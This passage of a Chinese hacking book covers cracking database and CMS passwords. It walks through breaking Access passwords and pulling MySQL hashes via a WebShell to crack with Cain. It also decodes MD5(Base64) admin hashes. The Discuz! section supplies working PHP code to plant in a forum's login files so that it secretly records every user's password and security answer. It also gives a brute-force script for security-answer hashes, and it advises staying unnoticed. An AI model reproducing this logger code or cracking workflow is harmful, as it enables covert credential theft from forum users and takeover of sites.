• 宏(Macro)相当于DOS中的批处理,用于自动执行一系列操作。Access列出了一些常用的操作供用户选择,使用起来十分方便。
• 模块(Module)的功能与宏类似,但它定义的操作比宏更加精细和复杂,用户可以根据自己的需要编写程序。模块使用Visual Basic编程。
2.7.2 Access数据库的主要特点
Access数据库的主要特点如下。
• 存储方式单一:Access管理的对象有表、查询、窗体、报表、页、宏和模块,以上对象都存放在后缀为.mdb的数据库文件中,便于用户进行操作和管理。
• 面向对象:Access是一个面向对象的开发工具,利用面向对象的方式将数据库系统的各种功能对象化,将数据库管理的各种功能封装在各类对象中。它认为一个应用系统是由一系列对象组成的,它对每个对象都定义了一组方法和属性,以定义该对象的行为和外围。用户可以按照需要给对象扩展方法和属性。通过对象的方法、属性完成数据库的操作和管理,极大简化了用户的开发工作。同时,这种基于面向对象的开发方式使得开发应用程序更为简便。
• 界面友好,易操作:Access是一个可视化工具,其风格与Windows完全一样,用户想要生成对象并应用,只要使用鼠标进行拖放即可,非常直观、方便。系统还提供了表生成器、查询生成器、报表设计器及数据库向导、表向导、查询向导、窗体向导、报表向导等工具,操作简便,容易使用和掌握。
• 集成环境,处理多种数据信息:Access基于Windows操作系统的集成开发环境。该环境集成了各种向导和生成器工具,极大地提高了开发人员的工作效率,使建立数据库、创建表、设计用户界面、设计数据查询、报表打印等可以方便、有序地进行。
• 支持ODBC(Open Data Base Connectivity,开放数据库互联):利用Access强大的DDE(动态数据交换)和OLE(对象的链接和嵌入)特性,可以在一个数据表中嵌入位图、声音、Excel表格、Word文档,还可以建立动态的数据库报表和窗体等。而且,Access可以将程序应用于网络,并与网络上的动态数据连接,利用数据库访问页对象生成HTML文件,轻松构建Internet/Intranet应用。
2.7.3 Access数据库的缺点和局限性
Access是一种桌面数据库,适合数据量少的应用,在处理少量数据和单机访问时很好用,效率也很高,但在处理海量数据时效率会受到极大影响。例如,搭配ASP应用于互联网时,如果调用数据库的程序设计不理想,Access数据库超过30MB就开始影响性能,50MB左右的时候性能会急剧下降,即使配合设计优良的程序,数据库的极限大小也只能是几百MB。记录数过多、访问人数过多的时候,也会造成Access数据库性能急剧下降。
另外,Access数据库在安全性方面也比不上MySQL、MSSQL等专业数据库,配合ASP程序使用的时候,如果使用默认的.mdb文件后缀而且没有经过额外的安全处理,别人甚至可以直接下载我们的数据库文件。
2.7.4 Access数据库的版本
Access数据库最早的版本是1997年推出的,后面逐渐升级为Access 2000、Access 2003、Access 2007、Access 2010等。
2.7.5 Access密码破解实例
在一些软件系统和网站系统中,出于安全考虑,很多程序设计者都会给Access数据加上密码,以保护数据库内容的安全。下面以一个实例来说明如何破解和操作Access数据库。
01 选择需要破解的Access数据库文件
笔者推荐一款Access数据库密码破解工具——Access数据库特殊操作。如图2-41所示,运行“Access数据库特殊操作”后,在软件窗口中选择“破解Access密码”,然后在Access文件路径中选择需要破解的文件,也可以直接输入Access文件路径。
图2-41 选择需要破解的Access文件
02 获取数据库密码
单击“破解密码”按钮,软件很快就将Access数据库密码破解。如图2-42所示,Access的版本为97.3.51,密码为“91459”。
图2-42 破解Access数据库密码
03 删除数据库密码
在软件窗口单击“删除Access密码”标签,如果前面选择过数据库,则在“数据库路径”设置框中会显示上次操作的数据库,同时显示数据库的密码,单击“删除密码”按钮将加密的数据库密码删除,如图2-43所示。
图2-43 删除Access密码
除去破解Access密码外,该软件还有一个实用功能——压缩数据库的大小。Access数据库持续运行时间长了以后,文件本身会增加一些无用的信息,导致数据文件非常大,而对Access数据库来说,当数据库大小超过30MB就会影响性能,超过50MB会严重影响性能,因此,当数据库“个头”太大时,就需要给它“减肥”。在该软件主界面单击“压缩Access数据库”标签,如图2-44所示,选择数据库文件后单击“压缩数据库”按钮即可。
图2-44 压缩Access数据库
2.8 巧用Cain破解MySQL数据库密码
MySQL数据库用户的密码与其他数据库用户的密码一样,在应用系统代码中都是以明文形式出现的,在获取文件读取权限后即可直接从数据库连接文件中读取。例如,ASP代码中的conn.asp数据库连接文件中一般都包含数据库类型、物理位置、用户名和密码等信息,而在MySQL中,即使获取了某一个用户的数据库用户(root用户除外)的密码,也只能操作某一个用户的数据库中的数据。在实际攻防过程中,在获取WebShell的情况下,可以直接下载MySQL数据库中保留用户的user.myd文件,该文件中保存的是MySQL数据库中所有用户对应的数据库密码,只要能够破解这些密码,就可以正大光明地操作这些数据了。虽然网上有很多修改MySQL数据库用户密码的方法,但大都不可取,因为修改用户密码的事情很容易被人发现!
研究MySQL数据库的加解密方式,在网络攻防过程中具有重要的意义。设想一下:一旦获取了网站一定的权限,如果能够获取MySQL中保存的用户数据,那么解密后即可通过正常途径访问数据库,一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。目前关于破解MySQL方面的研究还不是很多,本节算是抛砖引玉,虽然效果不是特别好,但也算是对破解MySQL数据库用户密码的一种探讨和尝试。
2.8.1 MySQL加密方式
MySQL数据库的认证密码有两种方式,MySQL 4.1之前是MySQL323加密,MySQL 4.1及之后的版本都是MySQLSHA1加密。MySQL数据库自带Old_Password(str)和Password(str)函数,它们均可以在MySQL数据库里进行查询,前者是MySQL323加密,后者是MySQLSHA1加密。
1.以MySQL323方式加密
以MySQL323方式加密,示例如下。
SELECT Old_Password('bbs.antian365.com');
查询结果如下。
MySQL323 = 10c886615b135b38
2.以MySQLSHA1方式加密
以MySQL323方式加密,示例如下。
SELECT Password('bbs.antian365.com');
查询结果如下。
MySQLSHA1 = *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2
执行结果如图2-45所示,MYSQL323加密生成的是16位字符串,而MySQLSHA1加密生成的是41位字符串,其中“*”不参加实际的密码运算。通过观察发现,很多用户都携带了“*”,在实际破解过程中需要去掉“*”,也就是说MySQLSHA1加密密码的实际位数是40位。
图2-45 在MySQL数据库中查询同一密码的不同SHA值
2.8.2 MySQL数据库文件结构
1.MySQL数据库文件类型
MySQL数据库文件有FRM、MYD和MYI共3种格式,FRM是描述表结构的文件。MYD是表的数据文件。MYI是表数据文件中任何索引的数据树,一般单独存储在一个文件夹中,默认路径为C:\Program Files\MySQL\MySQL Server 5.0\data。
2.MySQL数据库用户密码文件
在MySQL数据库中,所有设置默认都保存在C:\Program Files\MySQL\MySQL Server 5.0\data\ MySQL目录下,也就是安装程序的data目录下,如图2-46所示,与用户有关的文件一共有3个,分别是user.frm、user.MYD和user.MYI. MySQL数据库的用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。
图2-46 MySQL数据库用户密码文件
2.8.3 获取MySQL数据库用户密码加密字符串
使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式查看。如图2-47所示,在root用户后面是一串字符串,选中这些字符串并将其复制到“记事本”中,这些字符串即为用户加密值,本例为“506D1427F6F61696B4501445C90624897266DAE3”。
图2-47 获取加密的字符串
注意
(1)root后面的“*”不要复制到字符串中。
(2)有些情况下,需要往后面看看,否则得到的不是完整的MYSQLSHA1密码。总之,密码位数是40位。
2.8.4 将MySQL用户密码字符串加入Cain破解列表
本节使用Cain & Abel破解MySQL数据库用户密码。Cain& Abel是一个可以破解屏保、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令,支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、SQL Server 7.0/2000口令解码、Remote Desktop口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码、Dialup口令解码、远程桌面口令解码等的综合工具,还可以实现远程破解、挂字典及暴力破解,其Sniffer功能极其强大,几乎可以明文捕获一切账号口令,包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys Authentications。
Cain & Abel目前的最新版本是4.9.30,下载地址为http://www.newhua.com/soft/53494.htm。下载完毕,安装并运行。
在Cain & Abel主界面中单击“Cracker”标签,然后将用户密码的加密字符串“506D1427F6F6 1696B4501445C90624897266DAE3”加入MySQL Hashes破解列表中,如图2-48所示。
图2-48 使用Cain破解MySQL密码主界面
单击“Add to list”按钮,将字符串复制到“Hash”输入框中,在“Username”输入框中可以输入任意内容,如图2-49所示。
图2-49 添加MySQL Hashes
2.8.5 使用字典进行破解
如图2-50所示,选中刚才添加的需要破解的字符串,然后选择“Dictionary Attack”(字典破解)选项,在弹出的菜单中选择“MySQL SHA1 Hashes”方式进行破解。该方式针对的是MySQL 4.1及后续版本,对于MySQL 4.1以前的版本,应选择“MySQL v3.23 Hashes”选项。
图2-50 选择破解方式
选择“Dictionary Attack”(字典破解)选项后,会出现一个窗口,主要用于选择字典,如图2-51所示,在“Dictionary”设置区下方单击右键,可以添加一个或者多个字典文件。字典选择完毕后,可以在“Options”(选项)设置区中进行选择,然后单击“Start”按钮进行破解。
图2-51 MySQL字典破解设置
说明
在“Options”设置区中一共有8种方式,具体如下。
(1)字符串首字母大写。
(2)字符串反转。
(3)双倍字符串。
(4)字符串全部小写。
(5)字符串全部大写。
(6)在字符串中加入数字。
(7)在每个字符串中进行大写轮换。
(8)在字符串中加入2个数字。
破解成功后,Cain会给出一些提示信息,如下所示。
Plaintext of user <none> is databasepassword
Attack stopped!
1 of 1 hashes cracked
以上信息表明加密的密码是“databasepassword”。
回到Cain破解主窗口,破解的密码值会自动加入“Password”列中,如图2-52所示。
图2-52 破解密码成功
2.8.6 破解探讨
下面我们探讨与本次破解相关的话题。
1.字典破解与字典强度有关
依次单击“开始”→“程序”→“MySQL”→“MySQL Server 5.0”→“MySQL Command Line Client”选项,打开MySQL Command Line Client,输入密码后,输入以下代码设置一个新的密码。
Use MySQL
update user set password=password("1977-05-05") where user="root";
flush privileges;
本例中将原来的密码修改为“1977-05-05”,其结果如图2-53所示。
图2-53 修改MySQL用户密码
再次使用UltraEdit-32打开“C:\Program Files\MySQL\MySQL Server 5.0\data\MYSQL\user.MYD”,获取其新的密码字符串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”,重新选择一个字典文件,本例选择生成的生日字典,如图2-54和图2-55所示,仅选择小写字符串进行破解,很快就获取了破解结果。
图2-54 再次破解MySQL密码
图2-55 修改MySQL密码后再次进行破解MySQL密码
实际结果表明,使用Cain破解MySQL密码时,如果采用字典破解,那么破解效果与字典强度有关,只要破解的密码在字典中,就一定能够破解。
2.使用彩虹表进行破解
Cain还提供了彩虹表破解MySQL的方式,在破解方式中选择“Cryptanalysis Attack”→“MySQL SHA1 Hashes via RainbowTables”选项即可,如图2-56和图2-57所示。
图2-56 使用彩虹表破解方式
图2-57 使用彩虹表进行破解
在实际测试过程中,由于网络上提供的SHA彩虹表是RTI格式的,而Cain中使用的是RT格式的。笔者将下载的所有彩虹表中文件后缀由“RTI”修改为“RT”,然后进行破解,提示破解不成功,其原因应该是彩虹表的格式不一样,Cain只承认它自己提供的彩虹表。
3.Hash计算器
Cain提供了各种Hashes计算。在主界面中单击计算机图标按钮,弹出Hash计算器,在“Text to hash”输入框中输入需要转换的原始值,如“12345678”,单击“Calculate”按钮进行计算,如图2-58所示,可以看到14种Hashes值。
图2-58 计算Hashes值
4.生成彩虹表
在Cain的安装目录C:\Program Files\Cain\Winrtgen中直接运行Winrtgen,如图2-59所示,该工具为彩虹表生成器,可以很方便地生成各种类型的彩虹表值。
图2-59 Winrtgen彩虹表生成工具
5.设置彩虹表
单击“Add Table”按钮,在“Rainbow Table properties”对话框的“Hash”下拉列表中选择“MYSQLsha1”选项,根据实际情况分别设置“Min Len”、“Max Len”、“Index”、“Chain len”、“Chain Count”及“N of tables”的值,一般情况下,仅需要设置“Min Len”、“Max Len”及“N of tables”的值。“N of tables”主要用来测试Hashes生成的完整度,输入不同的值,会在“Table properties”显示区中显示百分比,使用户可以通过尝试确定一共需要生成多少个表,单击“Benchmark”按钮可以进行时间估算,如图2-60所示,单击“OK”按钮完成生成设置。
图2-60 设置彩虹表
在彩虹表生成器中,如图2-61所示,单击“Start”按钮开始生成彩虹表,在“Status”列中会显示生成的大小和进度。
图2-61 开始生成彩虹表
由于生成彩虹表的时间比较长,在网上也没有搜索到以“rt”结尾的MYSQL Sha1 Hashes表,因此,本次破解主要以字典破解为主,彩虹表的破解将在全部生成后进行。关于如何使用彩虹表破解MySQL密码,请关注安天365论坛(bbs.antian365.com)。
在服务器权限设置不太严格的情况下,通过WebShell完全可以将MySQL下的user.MYD文件下载到本地。只要破解了root用户的密码,借助WebShell就可以做很多事情。本节通过使用Cain破解MySQL密码,算是一种较好的尝试,只要使用字典工具生成一些具有一定强度的字典,对于那些设计不太复杂的MySQL密码,破解还是比较容易的。
2.9 MD5(Base64)加密与解密
在对某一个CMS系统进行安全检测时,可以通过注入点获取其管理员表中的管理员用户名和密码数据,但由于不知道该密码数据采用何种加密方式,所以,虽然知道CMS系统管理的后台,但苦于没有破解管理员的密码而无法登录系统。笔者通过研究终于掌握了MD5(Base64)加密原理和解密原理,因此才有本节内容。
Base64是网络上最常见的用于传输8bit字节代码的编码方式之一,在发送电子邮件时,服务器认证的用户名和密码需要使用Base64编码,附件也需要使用Base64编码。Base64要求把每3个8bit的字节转换为4个6bit的字节(3×8= 4×6= 24),然后把6bit再添2位高位0,组成4个8bit的字节,也就是说,转换后的字符串理论上将比原来的字符串长1/3。
“MD5”的全称是“Message-Digest Algorithm 5”(信息-摘要算法),在20世纪90年代初由Mit Laboratory For Computer Science和Rsa Data Security Inc的Ronald L. Rivest开发,经MD2、MD3和MD4发展而来。它的作用是让大容量信息在用数字签名软件签署私人密钥前被“压缩”成一种保密的格式(就是把一个任意长度的字节串变换成一个定长的大整数)。
2.9.1 MD5(dBase64)密码
MD5(dBase64)加密后的字符串长度为24位,最末尾有2个“=”符号,字符串中数字和字母混写,这种加密方式在ASP.NET等CMS环境中经常碰到。如图2-62所示为3个用户及其加密后的密码字符串。
图2-62 MD5(dBase64)密码
2.9.2 从网上寻找破解之路
直接在Google上对“MD5(dBase64)加解密”进行搜索,如图2-63所示,从搜索结果来看,除了求助外,很难在网上找到MD5(dBase64)的加密和解密方法。
图2-63 Google搜索结果
2.9.3 生成Hash值
InsidePro网站提供了在线Hash破解(http://hash.insidepro.com/)和在线生成各种Hash值的功能,在线生成Hash值的网址为http://www.insidepro.com/hashes.php?lang=eng,如图2-64所示。在“Password”文本框中输入“author”,单击“Generate”按钮,可直接生成各种Hash值。
图2-64 生成各种Hash值
2.9.4 比对Hash值和加密密码值
在生成Hash值后的http://www.insidepro.com/hashes.php?lang=eng页面上拖动滚动条,一一对照。通过比对发现,在Base64加密中有一个明显的特征,即加密字符串最后面一般都有等号。从中截取部分author的加密值如下。
Haval128(Base64):1xehfrgfAcMYLCdLcYiDlg==
Haval160(Base64):JPfaQRoHY0v/EJnXN9iKd9MfdbE=
MD2(Base64):d+K74ta9Vhbr4yuKzfCAZQ==
MD4(Base64):QPRz/CVV3O9EVOA/iCaOwA==
MD5(Base64):Ar2S+qOKqmzA6nXlmTeh7w==
找到的加密方式,如图2-65所示,验证了该加密方式就是MD5(Base64)加密。
图2-65 找到加密方式
2.9.5 破解方式
01 添加Hash值
从http://www.insidepro.com/eng/passwordspro.shtml页面上了解到,PasswordsPro可以破解MD5(Base64)加密方式。PasswordsPro是一款付费软件。
运行PasswordsPro 2.5.3.0,单击右键,在弹出的快捷菜单中选择“Add”选项,如图2-66所示,添加一个Hash值进行破解。在“Hash”文本框中输入“MD5(Base64):Ar2S+qOKqmzA6nXlmTeh7w==”,然后单击“Add”按钮。
图2-66 添加要破解的Hash值
02 执行暴力破解
如图2-67所示,单击三角形按钮,运行破解程序,选择暴力破解方式。
图2-67 暴力破解MD5(Base64)密码
在PasswordsPro 2.5.3.0中还有其他破解方式,包括“Preliminary Attack”、“Mask Attack”、“Simple Dictionary Attack”、“Combined Dictionary Attack”、“Hybrid Dictionary Attack”和“Rainbow Attack" 6种破解方式,如图2-68所示。
图2-68 多种破解方式
03 破解成功
暴力破解方式太耗费时间,故选择了“Simple Dictionary Attack”(简单字典攻击)方式。由于密码在字典中,所以很快就破解出来了,如图2-69所示。
图2-69 使用字典破解成功
值得一提的是,InsidePro官方网站提供了74个字典文件,感兴趣的读者可以自行下载。在实际应用中,这些字典仍然不够,有些密码设置得往往超乎想象的复杂,除非有完整的彩虹表,否则暴力破解和字典破解的时间将非常漫长。
2.9.6 探寻MD5(Base64)的其他破解方式
除了通过PasswordsPro破解,还有一些方式或许能够破解MD5(Base64)密码,下面我们一起讨论一下。
01 进行Base64解码
网上有很多工具可以对Base64编码进行解码,其中一款是可以在Linux和Windows下运行的Base64工具,下载地址为http://www.fourmilab.ch/webtools/base64/,下载后可以直接运行,命令为“base64-decode base64.b64 base64.tmp”,参数“-decode”或“-d”表示解码,“-encode”或“-e”表示Base64编码。
base64.b64是Base64编码后的文件,base64.tmp是解码后生成的文件。在该工具目录下,还有一个BAT文件用于批处理解码,如图2-70和图2-71所示。
图2-70 Base64解码工具
图2-71 执行解码批处理文件
02 编辑解码文件
将MD5(Base64)加密后的密码值“Ar2S+qOKqmzA6nXlmTeh7w==”复制到base64.b64文件中,编辑解码文件的情形如图2-72所示。
图2-72 编辑解码文件
03 查看解码后的文件
使用UltraEdit-32编辑器打开base64.tmp文件,如图2-73所示,该文件显示为乱码。这一点笔者也很奇怪,后面通过其他一些Base64解码工具进行解码,其正常显示结果仍为乱码。
图2-73 查看解码后的文件
04 获取Base64解码后的MD5值
在UltraEdit-32编辑器中,直接以二进制方式打开解码后的文件base64.tmp,如图2-74所示,将其中的二进制编码进行整理,其结果为“02BD92FAA38AAA6CC0EA75E59937A1EF”,共32位,这与MD5加密后的值有些相似。将这个值复制到www.cmd5.com网站进行解密,结果显示为“author”。
图2-74 获取二进制的值
2.9.7 MD5(Base64)加解密原理
在线生成Hash值,然后按照2.9.6节中的步骤重新测试,结果与之测试吻合,由此我们可以推测出MD5(Base64)的加解密原理。
1.MD5(Base64)加密原理
MD5(Base64)加密,首先对字符串进行MD5加密,即MD5(string),然后对MD5加密后的字符串进行Base64编码。
2.MD5(Base64)解密原理
MD5(Base64)解密,先对MD5(Base64)进行Base64解码,再对Base64解码后的值通过二进制方式进行读取,结果应为32位字符串,最后对获取的32位字符串进行MD5解密。
2.9.8 小结
在信息安全的领域,只有想不到的,没有做不到的,只要努力、坚持和不断尝试,终究会有收获。通过对MD5(Base64)加密和解密原理的研究,我们成功获取了该CMS系统的WebShell。
网络攻防最终是技术的对抗!
2.10 Discuz!论坛密码记录及安全验证问题暴力破解研究
Discuz!是目前最好用的论坛程序之一,在Discuz!论坛用户注册过程中设置了安全问题和安全答案进行安全保护,因此,即使攻击者获取了数据库,也会由于安全问题的答案而止步。近年来,由于密码泄露事件的影响和社工库的普及,用户和管理员大都设置了安全验证,所以,获取用户的安全验证问题就非常有必要了。目前,获取用户的安全验证问题的主要方式有两种:一种是通过修改源程序,在其中加入记录代码,截获所有登录用户的登录密码、安全问题和答案;另一种就是暴力破解。本节对这两种方法均进行了实验,且最终均获取了想要的结果,下面将整个过程与读者分享。
2.10.1 Discuz!论坛密码记录程序的编写及实现
在源程序中加入记录代码的方式相对简单,具体如下。
1.Discuz!7.1-7.2论坛记录程序的编写及实现
在Discuz!7.2论坛中找到程序文件login.func.php,在其中加入以下代码。
$ip=$_SERVER['REMOTE_ADDR'];
$showtime=date("Y-m-d H:i:s");
$record="<?exit();?>".$username." --------".$password."
IP:".$ip."questionid".$questionid."answer".$answer." Time:".$showtime."\r\n";
$handle=fopen('./include/csslog.php','a+');
$write=fwrite($handle,$record);
密码记录和登录文件保存在“include”目录下的cssog.php文件中,打开csslog.php文件即可看到获取的用户记录,如图2-75所示。目前,康盛创想公司基本已经停止对Discuz! 7.2(程序下载地址为http://download.comsenz.com/Discuz/7.2/)的更新。
图2-75 Discuz! 7.2论坛密码及验证问题记录
2.Discuz! X2.5-3.1论坛记录程序的编写及实现
在Discuz! X2.5-3.1安装目录的“uc_client”文件夹下找到client.php文件,在“unction uc_user_ login”函数中加入以下代码。
//以下为密码记录程序代码
if(getenv('HTTP_CLIENT_IP')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$onlineip = getenv('REMOTE_ADDR');
} else {
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
if(getenv('HTTP_CLIENT_IP')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$onlineip = getenv('REMOTE_ADDR');
} else {
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$ip=$onlineip;
$showtime=date("Y-m-d H:i:s");
$record="<?exit();?> 用 户 : ".$username." 密 码 : ".$password." IP:".$ip."
Time:".$showtime." questionid:".$questionid."answer:".$answer."\r\n";
$handle=fopen('./api/csslog.php','a+');
$write=fwrite($handle,$record);
//密码记录程序代码结束
用户登录后查看127.0.0.1/api/csslog.php文件,即可获取密码及验证问题答案等信息,效果如图2-76所示。从Questionid 1到Questionid 7分别与设置的验证问题一一对应,如图2-77所示,本例中Questionid 3的对应问题为“父亲出生的城市”。
图2-76 Discuz !X2.5论坛密码及其验证程序记录效果
图2-77 问题ID对应
2.10.2 Discuz! X2.5论坛密码安全问题暴力破解
下面我们一起了解一下Discuz! X2.5论坛密码安全问题暴力破解的过程。
01 获取Secques值
对于Discuz! X2.5及其他版本的论坛程序,解决方法类似。首先要查看用户的Secques值,如图2-78所示,该Secques值为“ca9e47ea”。如果没有这个值,可直接将password:salt值放到cmd5网站进行查询,如图2-79所示,获取的管理员密码为“123456”。如果设置了安全问题,即使有这个值,即使获取了密码,也无法登录。
图2-78 查看Secques值
图2-79 查询管理员的密码
02 密码问题设置和解除
密码登录安全提问是用户注册成功后通过再次设置“密码安全”实现的。如图2-80所示,Discuz!默认设置了7个安全验证问题,用户只需要选择问题,然后设置问题的答案即可,论坛最高管理员或者创始人可以直接将安全提问清除。设置安全验证问题后,用户登录时除了需要输入用户名和密码外,还需要选择自己设置的安全问题并输入相应的答案,如图2-81所示。
图2-80 设置安全验证问题
图2-81 用户登录安全问题验证
03 程序暴力破解
暴力破解程序代码如下。
<?
/*discuz 提示问题答案暴力破解程序。*/
error_reporting(0);
if($argc<2){
print_r('
--------------------------
Usage: php cracksecques.php hash
Example:
php cracksecques.php ca9e47ea
--------------------------
');
die;}
$fd=fopen("pass.dic",r);
if(!$fd){
echo "error:打开字典文件错误";
die;}
while($buf=fgets($fd)){
for($i=1;$i<8;$i++) {
$tmp=substr(md5(trim($buf).md5($i)),16,8);
$conn=strcmp($tmp,$argv[1]);
if($conn==0) {
echo " 密 码 破 解 成 功 !\n"." 提 示 问 题 答 案 为 :".$buf." 提 示 的 问 题
为:".theask((int)$i)."\n";
die;}}}
if($conn!=0){echo"没有正确的密码!";}
fclose($fd);
function theask($var){
if($var==1){return"母亲的名字"; }
elseif($var==2){return"爷爷的名字";}
elseif($var==3){return"父亲出生的城市"; }
elseif($var==4){return"您其中一位老师的名字";}
elseif($var==5){return"您个人计算机的型号"; }
elseif($var==6){return"您最喜欢的餐馆名称"; }
elseif($var==7){return"驾驶执照最后四位数字";}
}
?>
将以上程序代码保存为文件crackdzsecques.php,在Windows下通过“php crackdzsecques.phpca9e47ea”命令进行破解,pass.dic为生成的字典,如图2-82所示。
图2-82 破解安全验证问题